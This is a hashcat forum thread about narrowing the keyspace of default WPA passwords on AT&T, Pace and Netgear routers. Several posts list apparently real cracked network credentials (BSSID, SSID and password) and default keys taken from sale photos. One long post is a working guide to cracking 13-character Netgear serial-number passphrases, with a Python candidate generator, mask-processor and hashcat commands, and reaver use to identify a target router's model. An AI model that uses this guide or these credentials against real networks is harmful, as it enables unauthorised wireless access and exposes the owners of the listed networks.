hashcat Forum
Keyspace List for WPA on Default Routers - Printable Version

+- hashcat Forum (https://hashcat.net/forum)
+-- Forum: Misc (https://hashcat.net/forum/forum-15.html)
+--- Forum: User Contributions (https://hashcat.net/forum/forum-25.html)
+--- Thread: Keyspace List for WPA on Default Routers (/thread-6170.html)

Pages: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22


RE: Keyspace List for WPA on Default Routers - calexico - 11-10-2017

(11-10-2017, 03:22 PM)RealEnder Wrote: Do you have list of default SSIDs for those routers? Or those are just ATT*?

At least for the 5268AC routers, the default SSID is:
ATTxxxxxxx

Where x is any combo of [A-Z,a-z,0-9]

Edit: Same is true of NVG589 and NVG599 routers delivered to U-Verse customers.

Does that answer your question?


RE: Keyspace List for WPA on Default Routers - soxrok2212 - 11-10-2017

(11-10-2017, 03:22 PM)RealEnder Wrote: Do you have list of default SSIDs for those routers? Or those are just ATT*?

ATTXXXXXXX. In wireshark, Arris models are NVG589/599, 2Wire models are the 5268s.


RE: Keyspace List for WPA on Default Routers - RealEnder - 11-11-2017

I checked in my DB and don't have any of those cracked. Pasting ATT* founds, that look like generated, for reference and may help:
Code:
BSSID SSID PSK
20E564ABB120 ATT216 0857472378
383BC86FC306 ATT133 8869533409
383BC87B176A ATT634 9633150011
386BBB6504A0 ATT840 3974983610
506A038E6BEC ATT-WIFI-4879 94687927
60FE205222FE ATT614 45654564
60FE20AF7922 ATT161 3890319323
6CCA084614F0 ATT208 7165462839
789684B7D940 ATT736 6783810912
8C7F3B59E9C0 ATT520 0520101948
8C7F3B9C6DB0 ATT672 1008805232
94C1500B9032 ATT403 4421306310
94CCB9B444F0 ATT320 4069447738
AC5D10A27AE6 ATT829 3414414482
D437D7848B7D ATT-WIFI-1854-GUEST 96962708



RE: Keyspace List for WPA on Default Routers - soxrok2212 - 11-12-2017

(11-12-2017, 12:21 AM)fart-box Wrote:
(11-11-2017, 10:48 PM)RealEnder Wrote: I checked in my DB and don't have any of those cracked.

Thank you RealEnder, but that data applies to ATT's old routers which are no longer being distributed to new customers, so it's of no use to us.

We're looking for passwords being used by the newer model routers which would look something like this:

ESSID            - password
ATT8Ydf9lc     - 8w%6uk#ypk7a
ATT7SCW95H - 99qaj6n?y5q4
ATT73Q9Gxw - 4udg2523#3ds

And the ESSID doesn't matter. All we need are the passwords.

Thank you again for your efforts though.

Something I've noticed is 589 passwords always have a ?dX?dX?dX?dX?dX?dX format.. number character number character etc.

I'm guessing your samples are from 5268s?


RE: Keyspace List for WPA on Default Routers - calexico - 11-13-2017

(11-13-2017, 10:32 PM)fart-box Wrote: Sorry to get your hopes up guy's, but I've got bad news.

Someone just sent me a list of seven passwords which included the passwords 4d5a6q6r7b8t and 4d5a6q6r7b8u. You don't even have to find the keys to see that they are only "1" apart, whether you're counting characters or values.

This means that ATT is using every key, and there are just too many keys.

Hmmmm, is it a source you trust & is verifiable, or 'fake news' ? (Sorry, I don't mean to descend into the world of politics Smile

Also, can you check the consecutive passwords weren't just 2.4GHz and 5GHz for the same physical router?

And last, can you check if the MAC addresses(the BSSID's) were consecutive, or at least close?

EDIT: Perhaps none of my questions really has any bearing on this project; it's just some of the questions that'd come to mind faced with a vexing problem.


RE: Keyspace List for WPA on Default Routers - Ne++erTyp - 11-22-2017

The following are from Ebay and Craigslist ads. All were Pace model 5268:

7kgc+23abm#u
5u4v3hqh5m49
2i+b5rvq38ys
2n6+6t84a87b
2xi9ewr#k+t5
5roh94s=3%ge
7akm3nw26a2z
5rqh94s=3%qe
6b5v834hj?6v
6fzp3#xd727u
4tz9dwj7%2hd
3xx+2mk73qit


RE: Keyspace List for WPA on Default Routers - calexico - 11-24-2017

(11-22-2017, 01:10 AM)fart-box Wrote:
(11-22-2017, 12:25 AM)Ne++erTyp Wrote: The following are from Ebay and Craigslist ads. All were Pace model 5268:

Awesome, Ne++erTyp! Thank you! I'll process these and let you know if they helped.

Please remember that the model or brand of the  router is irrelevant. It doesn't matter whether the password comes from a 589, 599, 595, 5268ac, or even a Frontier9680. All of the passwords from all of those models are derived from the same list. we just need to shorten that list to passwords that are relevant, so we can skip over what is useless.

Also, if you find a picture that isn't clear, please don't "guess" at what you see. Just discard it. It's important to know exactly what the password is in order to avoid messing up the results.

[edit]

Ne++erTyp, if I had a prize to award, you just won it! Three of your passwords were already on my list, but the rest of them all fell neatly into place, shrinking the voids.

But one password in particular, 4tz9dwj7%2hd, landed just above another password I already had, shrinking the void to only four digits, and those digits are an exact multiple of the master seed!

As previously mentioned, that seed is far too small for us (or even ATT) to use, which means they skip a bunch of trash, hit the good stuff, then leave more trash at the end. So as I stated just before this edit, "we just need to shorten that list to passwords that are relevant" by finding the parts of the list ATT uses.

So keep sending those passwords!

[re-edit]


I've been going against my own advice, I guess. I've been looking at keys for so long that I forgot to look at those passwords. Two of them are not valid because they contain the letter 'o' which is not in the character list. And the password I was so excited about yesterday is only different by one character. Ne++erTyp's password contained a '2' where the password I already had contained a 'z'. These two characters, as well as the 'o', are easy to misinterpret in a blurry photograph.

Here's my collection:

8qta8=9f9a?q
54k=7?bkb8fy
2dsmmcf4=%ya


RE: Keyspace List for WPA on Default Routers - soxrok2212 - 11-29-2017

(11-25-2017, 02:16 AM)fart-box Wrote:
(11-24-2017, 08:00 PM)calexico Wrote: Here's my collection:

Thank you, calexico. These helped reduce a few gaps, but the gaps are still far too large.

Any crypt-annalist will tell you that the more data you have, the easier it is to crack what ever you're trying to crack.

I've got 80 passwords now (including these 3 you've just shared). With those, I need to establish a pattern in a list of 6,582,952,005,840,035,281 possible passwords so we can weed out the trash.

80 passwords just isn't enough data, and there doesn't seem to be enough interest in this project to justify the time I've already spent on it. Maybe it's time to move on...

So... Does anyone know anything they'd like to share about Ubee (or "hon Hai") routers?

Hi fart-box, I'm still very much into this project (and am in the middle of re-writing pskracker) so don't lose hope yet! Just very busy. Keep it up! I don't live in an ATT area unfortunately, so I can't be of HUGE help...


RE: Keyspace List for WPA on Default Routers - calexico - 11-29-2017

(11-29-2017, 01:52 PM)soxrok2212 Wrote: snip...

Hi fart-box, I'm still very much into this project (and am in the middle of re-writing pskracker) so don't lose hope yet! Just very busy. Keep it up! I don't live in an ATT area unfortunately, so I can't be of HUGE help...

Agreed, I'd like to see this project move forward. Thanks for your work fart-box and soxrok2212 !!


RE: Keyspace List for WPA on Default Routers - HAPR_apprentice - 11-30-2017

#################################################################################
################## How to Crack 13-character WPA2 passwords on Netgear routers ###################
#################################################################################

First of all, what this will not cover is the already well known security scheme that Netgear has been using for default WPA2 passphrases on their routers and modems.

That format was:

adjective + noun + 1 digit
adjective + noun + 3 digits

An app that produces these combinations can be found here:
https://github.com/wpatoolkit/Adj-Noun-Wordlist-Generator

That app is unnecessary, however, since there are already files that exist that are in the "adjective + noun + 3 digits" format.

The files in question were originally distributed on the Xiaopan forums at: http://xiaopan.co/forums/threads/netgearxx-wordlist.6571/
You will need to create an account there in order to obtain those dictionaries.

There are 5 of them:

adjective.txt - all the verified adjectives
noun.txt - all the verified nouns
adjective_noun.txt - combinations of the adjectives + nouns
adjective_noun_1digit.txt - combinations of the adjectives + nouns + 1 digit
adjective_noun_3digit.txt - combinations of the adjectives + nouns + 3 digits

With that out of the way, we will cover the method used to find a 13-character password from a Netgear modem/router and outline the attack.


HOW TO CRACK 13-DIGIT DEFAULT WPA2 PASSWORDS ON NETGEAR ROUTERS

This guide will address a security scheme that some Netgear routers use.  Some Netgear wireless routers use their 13-digit serial number as their default WPA2 key.

Wireless Netgear routers that are known to have used this are listed below, at the end of this post.  It may be applicable to other devices that Netgear has made, but those are unknown at the time of this writing (November 2017).

In order to understand why this default WPA2 scheme is not secure, we must first look at the Netgear serial number format.

The 13 digits of the default WPA2 code is as follows:

PPPDYMSCXXXXX

PPP - Prefix code; base32 number

D - Dash level; base32 number

Y - Year code; use least significant number of year.  Example: 2002=2, 2014=4, 2015=5

M - Month code; 1-9,A-C;Jan=1, Feb=2, Mar=3, Apr=4, May=5, Jun=6, Jul=7, Aug=8, Sep=9, Oct=10, Nov=11, Dec=12

S - Supplier Code; base32 number

C - Check character; base32 number

XXXXX - Sequential field; a 5 character, base16 field (hexadecimal) (00000-FFFFF)

When calculating the check character, the following base32 table is used to convert a remainder into either a numerical or letter value (the formula used to do this is further below).

The base32 table for the check character consists of the following:

1=1
2=2
3=3
4=4
5=5
6=6
7=7
8=8
9=9
A=10
B=11
C=12
D=13
E=14
F=15
G=16
H=17
J=18
K=19
L=20
M=21
N=22
P=23
R=24
S=25
T=26
U=27
V=28
W=29
X=30
Y=31


This example of the formula used to calculate the check character comes straight from Netgear documentation.

<-- Beginning of example from documentation -->
"Multiply every digit in the SN by a weighting number, which is equal to it’s position in the SN string starting with 12. Sum the products modulo 32.
 
A1(12)+a2(11)+a3(10)+a4(9)+a5(8)…..+a12(1) mod 32 = CheckCharacter
 
Below is an example. Serial number = 9AE2222BFE2A
 
(9*12)+(10*11)+(14*10)+(2*9)+(2*8)+(2*7)+(2*6)+(11*5)+(15*4)+(14*3)+(2*2)+ (10*1) = 589

(589) Mod 32 = 13

Letter “D” = 13, so the check character is “D”.
 
The complete SN = 9AE2222DBFE2A"
<-- End of example from documentation -->


At a glance, a 13-digit WPA2 passphrase appears to be unbreakable by current technology.  This is normally true, even with the power of a GPU cluster.  At the time of this writing, the most current and common GPU technology on the market are Pascal-based Nvidia GTX 10 series video cards, primarily the GTX 1080 Founders Edition and its overclocked counterparts.  Even with several of these working on a WPA2 handshake, conventional brute-forcing is not practical or even possible within the lifetime of any human.

Unfortunately for owners of these Netgear routers, and fortunately for an attacker, a full brute-force attack is not necessary.

If every digit of the serial number was using the full base32 table, as outlined above, then cracking one of these passphrases would take at least several tens of thousands of years.

32 characters with 13 positions gives us:

32^13=36893488147419103232

Assuming 400,000 WPA2 passphrases per second (the capability of one overclocked GTX 1080 Founders Edition) and 36893488147419103232 combinations, it would take close to 3 million years to try all of the combinations of the passphrase.

36893488147419103232/400000/60/60/24/365=2924712.087

This assumes that all of the positions require every base32 value to be attempted in a brute-force attack.  As it turns out, this doesn't need to occur.


EXPANDED EXPLANATION OF SERIAL NUMBER FORMAT

The format of the serial number is PPPDYMSCXXXXX (see above).

Prefix (PPP)
The first 3 characters are a set prefix code which will be a base32 field.  As stated in Netgear documentation, "The prefix is a 3 character, base32 field and unique for each FA base part number...  The prefix is unchanged when the part dash number is incremented.  Prefixes are assigned sequentially starting with '100.'"

Dash Level (D)
"A one character base32 field."  Note that this base32 table is different than the one that the check character uses.  It is as follows:

1=1
2=2
3=3
4=4
5=5
6=6
7=7
8=8
9=9
A=10
B=11
C=12
D=13
E=14
F=15
G=16
H=17
J=18
K=19
L=20
M=21
N=22
P=23
R=24
S=25
T=26

Notice that only 26 values from the base32 table are used for this position in the serial number/passphrase.  U, V, W, X, and Y are not used here.

So far, with the first 4 digits of the serial number (PPPD), these will be a fixed value depending on the device in use.  This eliminates what has to be brute-forced from 13 to 9 digits.  Most devices from Netgear only have a few selected Prefixes and Dash Levels.  If you need to know which Prefix and Dash Level a particular model is using, this information can usually be acquired from Ebay listings.  There are almost always photos of these devices with their serial numbers visible.

Year Code (Y)
The value for the year code will usually be 1 through 4.  This value indicates year of manufacture.  For 2011, this will be 1.  For 2012, this will be 2.  This always represent the least significant value of whatever year it was made in.  Since all 10 values (0-9) won't need to be tested if the device was made recently, this will further reduce the keyspace.  All 10 values, 0-9, can be used if desired.

Month Code(M)
The value for the month code will be one of twelve values.  It will be 1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, or C.

Supplier Code (S)
The value for the supplier code will be one of the values from the full base32 table.  Netgear uses an active and an inactive supplier table for its modems/routers and it is best to include all possible base32 values for this character.

Check Character (C)
The check character will only be one possible base32 value based on what the other 12 digits of the serial number are.  Because it can only be one value, it can be calculated with the formula that was previously cited from Netgear's own documentation.

Sequential Field (XXXXX)
"A 5 character, base16 field (standard hexadecimal) which is assigned sequentially. The starting number is “00000” and continuing to “FFFFF” for a total count of 1,048,576."  In other words, the last 5 digits of the serial number can be any hex value of 0-9,A-F.

The actual number of combinations for this 13-digit passphrase breaks down as follows:

A fixed 4 digit prefix (PPPD) = 1
Year code (for this example it will be 1-4) = 4
Month code can be up to twelve values = 12
Supplier code = 32
Check character = 1
Sequential field = 1048576

1x4x12x32x1x1048576=1610612736
1610612736/400000/60/60=1.12

The resulting product (possible combinations for the passphrase) is 1610612736.

For just over 1.6 billion combinations, assuming 400,000 WPA2 passphrases per second, this will take 1.12 hours

There are two main challenges that will be faced in correctly guessing the passphrase.  The first is accurately guessing the first 4 digits.  The former can be accurately guessed if the model number of the device is known.  It is a simple matter to browse Ebay listings for the "PPPD" prefix portion of the passphrase.  The second challenge, and desired performance optimization, is the calculation of the check character.

The next section will discuss a method on how to produce accurate serial numbers/passphrases for any Netgear device with an accurate calculation of the necessary check character.


CALCULATING THE CHECK DIGIT

In order to calculate the check digit, we must first know what twelve characters need to be calculated.

Things that you will need:

1. some basic knowledge of Linux command line functions.
2. pypy runtime for the python that will be executed (package installation will be necessary in Linux).
3. mask processor, a utility that is used with hashcat (mp64.bin in Linux).
4. python code to do the check character calculation (this is provided for you).
5. hashcat (Linux version, hashcat64.bin).
6. A captured handshake to a Netgear wireless modem/router (obtaining this is beyond the scope of this guide).
7. the ability to browse Ebay listings for serial numbers for particular models of Netgear modems/routers.

For this example, we will use a prefix that is common to the CG3000D, a Netgear modem/router that was made mostly from 2011 to 2013.  A common prefix and dash level that it used is 2CG1.  A version 2 (V2) was made in 2014 so we will include the 4 to the year character in addition to 1-3.

First we need to generate the twelve characters minus the check character.  mp64.bin will achieve this by using multiple character sets for the initial twelve characters.

./mp64.bin -1 1234 -2 123456789ABC -3 123456789ABCDEFGHJKLMNPRSTUVWXY -4 1234567890ABCDEF 2CG1?1?2?3?4?4?4?4?4

4 character sets are used in the above example.  For character set 1, digits 1-4 are used.  For character set 2, all of the possible month codes are used.  For character set 3, the full base32 table is used and accounts for the one-character Supplier code.  Finally, for character set 4, the last 5 digits will only be a value in hex, 0-9, A-F.  The output that is produced will be twelve digits.  Netgear didn't add the check character to their devices until April 2005 (according to their documentation) so this output is not adequate for devices that were made after that time.

The following python code will be used to calculate the check character as mp64.bin produces output.  It has been written for use in a Linux environment.


#################### netgear_check_digit_calculator.py ####################
#!/usr/bin/env pypy
import sys

# Function returns dictionary of character translations
def getCharIndex():
        dictCharIndex = {}
        dictCharIndex['0'] = (0)
        dictCharIndex['1'] = (1)
        dictCharIndex['2'] = (2)
        dictCharIndex['3'] = (3)
        dictCharIndex['4'] = (4)
        dictCharIndex['5'] = (5)
        dictCharIndex['6'] = (6)
        dictCharIndex['7'] = (7)
        dictCharIndex['8'] = (8)
        dictCharIndex['9'] = (9)
        dictCharIndex['A'] = (10)
        dictCharIndex['B'] = (11)
        dictCharIndex['C'] = (12)
        dictCharIndex['D'] = (13)
        dictCharIndex['E'] = (14)
        dictCharIndex['F'] = (15)
        dictCharIndex['G'] = (16)
        dictCharIndex['H'] = (17)
        dictCharIndex['J'] = (18)
        dictCharIndex['K'] = (19)
        dictCharIndex['L'] = (20)
        dictCharIndex['M'] = (21)
        dictCharIndex['N'] = (22)
        dictCharIndex['P'] = (23)
        dictCharIndex['R'] = (24)
        dictCharIndex['S'] = (25)
        dictCharIndex['T'] = (26)
        dictCharIndex['U'] = (27)
        dictCharIndex['V'] = (28)
        dictCharIndex['W'] = (29)
        dictCharIndex['X'] = (30)
        dictCharIndex['Y'] = (31)
        return dictCharIndex

def getIndexToChar():
        dictIndexToChar = {}
        dictIndexToChar[(0)] = '0'
        dictIndexToChar[(1)] = '1'
        dictIndexToChar[(2)] = '2'
        dictIndexToChar[(3)] = '3'
        dictIndexToChar[(4)] = '4'
        dictIndexToChar[(5)] = '5'
        dictIndexToChar[(6)] = '6'
        dictIndexToChar[(7)] = '7'
        dictIndexToChar[(8)] = '8'
        dictIndexToChar[(9)] = '9'
        dictIndexToChar[(10)] = 'A'
        dictIndexToChar[(11)] = 'B'
        dictIndexToChar[(12)] = 'C'
        dictIndexToChar[(13)] = 'D'
        dictIndexToChar[(14)] = 'E'
        dictIndexToChar[(15)] = 'F'
        dictIndexToChar[(16)] = 'G'
        dictIndexToChar[(17)] = 'H'
        dictIndexToChar[(18)] = 'J'
        dictIndexToChar[(19)] = 'K'
        dictIndexToChar[(20)] = 'L'
        dictIndexToChar[(21)] = 'M'
        dictIndexToChar[(22)] = 'N'
        dictIndexToChar[(23)] = 'P'
        dictIndexToChar[(24)] = 'R'
        dictIndexToChar[(25)] = 'S'
        dictIndexToChar[(26)] = 'T'
        dictIndexToChar[(27)] = 'U'
        dictIndexToChar[(28)] = 'V'
        dictIndexToChar[(29)] = 'W'
        dictIndexToChar[(30)] = 'X'
        dictIndexToChar[(31)] = 'Y'
        return dictIndexToChar

# Retrieve character translation index
dictCharIndexToUse = getCharIndex()

# Retrieve index to character translation (for the end)
dictIndexToCharToUse = getIndexToChar()

twelvedigit = open(sys.argv[1]) if len(sys.argv) > 1 else sys.stdin
for line in twelvedigit:
        # Form tuple from each line
        charList = tuple(line)

        # Index from primary string - created as iteration proceeds of line value
        iIndex = 12

        # Running total that will determine which number to divide by 32
        iCCNum = 0
        for charVal in charList:
                if iIndex > 0:

                        numMult = dictCharIndexToUse.get(charVal)

                        numCalc = iIndex * numMult

                        iCCNum += numCalc

                        iIndex -= 1

        # Calculate iCCNum to retrieve Check Character
        iCheckChar = (iCCNum) % 32

        # Retrieval of the Check Character following calculation
        charCheckCharacter = dictIndexToCharToUse.get(iCheckChar)

        # Print to console the Check Character
        print(line[0:7] + charCheckCharacter + line[7:12])
#################### netgear_check_digit_calculator.py ####################

Code:
#################### netgear_check_digit_calculator.py ####################
#!/usr/bin/env pypy
import sys

# Function returns dictionary of character translations
def getCharIndex():
       dictCharIndex = {}
       dictCharIndex['0'] = (0)
       dictCharIndex['1'] = (1)
       dictCharIndex['2'] = (2)
       dictCharIndex['3'] = (3)
       dictCharIndex['4'] = (4)
       dictCharIndex['5'] = (5)
       dictCharIndex['6'] = (6)
       dictCharIndex['7'] = (7)
       dictCharIndex['8'] = (8)
       dictCharIndex['9'] = (9)
       dictCharIndex['A'] = (10)
       dictCharIndex['B'] = (11)
       dictCharIndex['C'] = (12)
       dictCharIndex['D'] = (13)
       dictCharIndex['E'] = (14)
       dictCharIndex['F'] = (15)
       dictCharIndex['G'] = (16)
       dictCharIndex['H'] = (17)
       dictCharIndex['J'] = (18)
       dictCharIndex['K'] = (19)
       dictCharIndex['L'] = (20)
       dictCharIndex['M'] = (21)
       dictCharIndex['N'] = (22)
       dictCharIndex['P'] = (23)
       dictCharIndex['R'] = (24)
       dictCharIndex['S'] = (25)
       dictCharIndex['T'] = (26)
       dictCharIndex['U'] = (27)
       dictCharIndex['V'] = (28)
       dictCharIndex['W'] = (29)
       dictCharIndex['X'] = (30)
       dictCharIndex['Y'] = (31)
       return dictCharIndex

def getIndexToChar():
       dictIndexToChar = {}
       dictIndexToChar[(0)] = '0'
       dictIndexToChar[(1)] = '1'
       dictIndexToChar[(2)] = '2'
       dictIndexToChar[(3)] = '3'
       dictIndexToChar[(4)] = '4'
       dictIndexToChar[(5)] = '5'
       dictIndexToChar[(6)] = '6'
       dictIndexToChar[(7)] = '7'
       dictIndexToChar[(8)] = '8'
       dictIndexToChar[(9)] = '9'
       dictIndexToChar[(10)] = 'A'
       dictIndexToChar[(11)] = 'B'
       dictIndexToChar[(12)] = 'C'
       dictIndexToChar[(13)] = 'D'
       dictIndexToChar[(14)] = 'E'
       dictIndexToChar[(15)] = 'F'
       dictIndexToChar[(16)] = 'G'
       dictIndexToChar[(17)] = 'H'
       dictIndexToChar[(18)] = 'J'
       dictIndexToChar[(19)] = 'K'
       dictIndexToChar[(20)] = 'L'
       dictIndexToChar[(21)] = 'M'
       dictIndexToChar[(22)] = 'N'
       dictIndexToChar[(23)] = 'P'
       dictIndexToChar[(24)] = 'R'
       dictIndexToChar[(25)] = 'S'
       dictIndexToChar[(26)] = 'T'
       dictIndexToChar[(27)] = 'U'
       dictIndexToChar[(28)] = 'V'
       dictIndexToChar[(29)] = 'W'
       dictIndexToChar[(30)] = 'X'
       dictIndexToChar[(31)] = 'Y'
       return dictIndexToChar

# Retrieve character translation index
dictCharIndexToUse = getCharIndex()

# Retrieve index to character translation (for the end)
dictIndexToCharToUse = getIndexToChar()

twelvedigit = open(sys.argv[1]) if len(sys.argv) > 1 else sys.stdin
for line in twelvedigit:
       # Form tuple from each line
       charList = tuple(line)

       # Index from primary string - created as iteration proceeds of line value
       iIndex = 12

       # Running total that will determine which number to divide by 32
       iCCNum = 0
       for charVal in charList:
               if iIndex > 0:

                       numMult = dictCharIndexToUse.get(charVal)

                       numCalc = iIndex * numMult

                       iCCNum += numCalc

                       iIndex -= 1

       # Calculate iCCNum to retrieve Check Character
       iCheckChar = (iCCNum) % 32

       # Retrieval of the Check Character following calculation
       charCheckCharacter = dictIndexToCharToUse.get(iCheckChar)

       # Print to console the Check Character
       print(line[0:7] + charCheckCharacter + line[7:12])
#################### netgear_check_digit_calculator.py ####################

The above python code can be saved to file with a .py extension.  For this example, it will be called netgear_check_digit_calculator.py

Execute the command(s) below in order to get the correct output.

./mp64.bin -1 1234 -2 123456789ABC -3 123456789ABCDEFGHJKLMNPRSTUVWXY -4 1234567890ABCDEF 2CG1?1?2?3?4?4?4?4?4 | python netgear_check_digit_calculator.py

The above command will only print the output to stdout (your screen).  For the best performance with hashcat, redirect the output to a file.  While the calculation of the check digit is functional, it doesn't have the best performance even though it uses the pypy executable.  If you use hashcat in stdin mode, you might be able to achieve close to 300,000 lines per second, but this speed won't fully utilize a modern GPU.

In order to save the produced output to a file, execute a command like this:

./mp64.bin -1 1234 -2 123456789ABC -3 123456789ABCDEFGHJKLMNPRSTUVWXY -4 1234567890ABCDEF 2CG1?1?2?3?4?4?4?4?4 | python netgear_check_digit_calculator.py > 2CG1_NETGEAR_13_DIGITS_WITH_CHECK_CHARACTER.txt

It will take about 90 minutes to produce the above file and it will be 21 gigabytes in size.

If the possibilities for the year of manufacture for a particular device can be reduced, then this will further reduce the amount of time that it takes to produce this data.  If the above example only used years 2011-2013 (digits 1-3) for the year position, then the resulting file will be close to 16 gigabytes and will take close to 67 minutes to produce.  When using only 3 digits for the year, the time to find a correct passphrase would be about an hour or less, assuming 400,000 passphrases per second are tried.  If you know the year and only specify one digit for the year value, the resulting file will be 5.1 gigabytes and will take close to 23 minutes to produce.

These benchmarks were tested on a machine with a 3.6 Ghz processor.  If you have a CPU clock that is faster than 3.6 Ghz, then it will take less time.  For now, this is a single threaded operation and the python code has only been optimized by using pypy.

After you have your output file, it can be used with hashcat to attempt to crack the password.

Example syntax:
./hashcat64.bin -m 2500 2CG1_EXAMPLE_SSID.hccap 2CG1_NETGEAR_13_DIGITS_WITH_CHECK_CHARACTER.txt


HOW TO OBTAIN THE MODEL NUMBER OF A NETGEAR DEVICE

At this time, there is no known public index of MAC addresses to model numbers for Netgear devices.  Fortunately, this isn't needed in most cases to identify what model is in use by a broadcasting (Wi-fi) access point.  Most Netgear routers will have WPS on by default and the model number will be sent in WPS broadcasts.

While attacks against WPS have been heavily mitigated in recent years due to firmware updates, WPS is still an insecure protocol for the purposes of obtaining the model number of a target Netgear device (or any other vendor for that matter).  Reaver can still be used to obtain the model number of the device if WPS is enabled.

Execute this command (or something similar):

reaver -i wlan0mon -b 00:11:22:33:44:66

The output that you should look for will display the information next to "WPS Manufacturer" and "WPS Model Number".  "WPS Manufacturer" should say, "Netgear" and the "WPS Model Number" should reveal the device's model number.

If you don't want to obtain this information from a Linux environment using reaver (The-Distribution-Which-Does-Not-Handle-OpenCL-Well (Kali), for example), then you can also obtain a utility in Windows called Jumpstart.  Jumpstart will show the model number of any device that is broadcasting it through WPS.


EPILOGUE

The vast majority of Netgear modems/routers use the WPA2 password scheme that is mentioned at the beginning of this guide (adjective + noun + 3 digits).  The number of Netgear routers that use the serial number for their passphrase are small, but they do exist and are sometimes issued by ISPs.  There is also the chance that end users have decided to use their device's serial number as their passphrase since they might believe that the seemingly long and random 13-digit passphrase appears to be secure.  This how-to guide aims to put that notion to rest.

It is also worth mentioning that some Netgear devices use their model number followed by six hexadecimal characters.  One example would be the CG3000DV2.  The keyspace would be from CG3000DV2000000 to CG3000DV2FFFFFF.


INDEX OF KNOWN NETGEAR ROUTERS THAT USE THIS PASSWORD SCHEME

Index of Netgear routers that use their 13-digit serial number as a default WPA2 password.

List of Netgear routers that are known to use this:
CG3000D (mostly deployed from 2011 to 2014)
WNHDE111

Known mac address (first 6 digits) and serial number prefixes (first 3 or 4 digits) for identified devices:
CG3000D:
    MAC:
        008EF2
    SERIAL:
        2CG1
        2DV2
        2DV3
        2B1
        2E2
        7W19
        3HW1 (CG3000Dv2; made in 2013 and 2014)
        3H21
        3PH1
Note: for 2B1 and 2E2, the Dash Level can be different, which is why those only have 3 digits instead of 4.
Note: This is usually used with Time Warner, Cox, and Mediacom (in the United States).
        
WNHDE111:
    MAC:
        001E2A
        00223F
    SERIAL:
        1TX1
        1TX2

CONCLUSION:

The serial number format for Netgear devices was leaked by Netgear themselves back in 2015.  They had an internet facing server that had a document that contained this information.  This isn't much of a zero day so I have decided to release it.  Almost no Netgear devices are using their serial number as a default WPA2 password, but there are a few out there, usually issued by ISPs that probably don't know any better.  If the usual method of accessing a Netgear wireless router doesn't work, this method may be worth checking.

R.I.P. Netgear serial number format.

P.S. Give the AT&T devices a break.  There are plenty of other vendors and ISPs that deserve your attention.  Also, perhaps someone can rewrite the python code in C.  The performance could be better.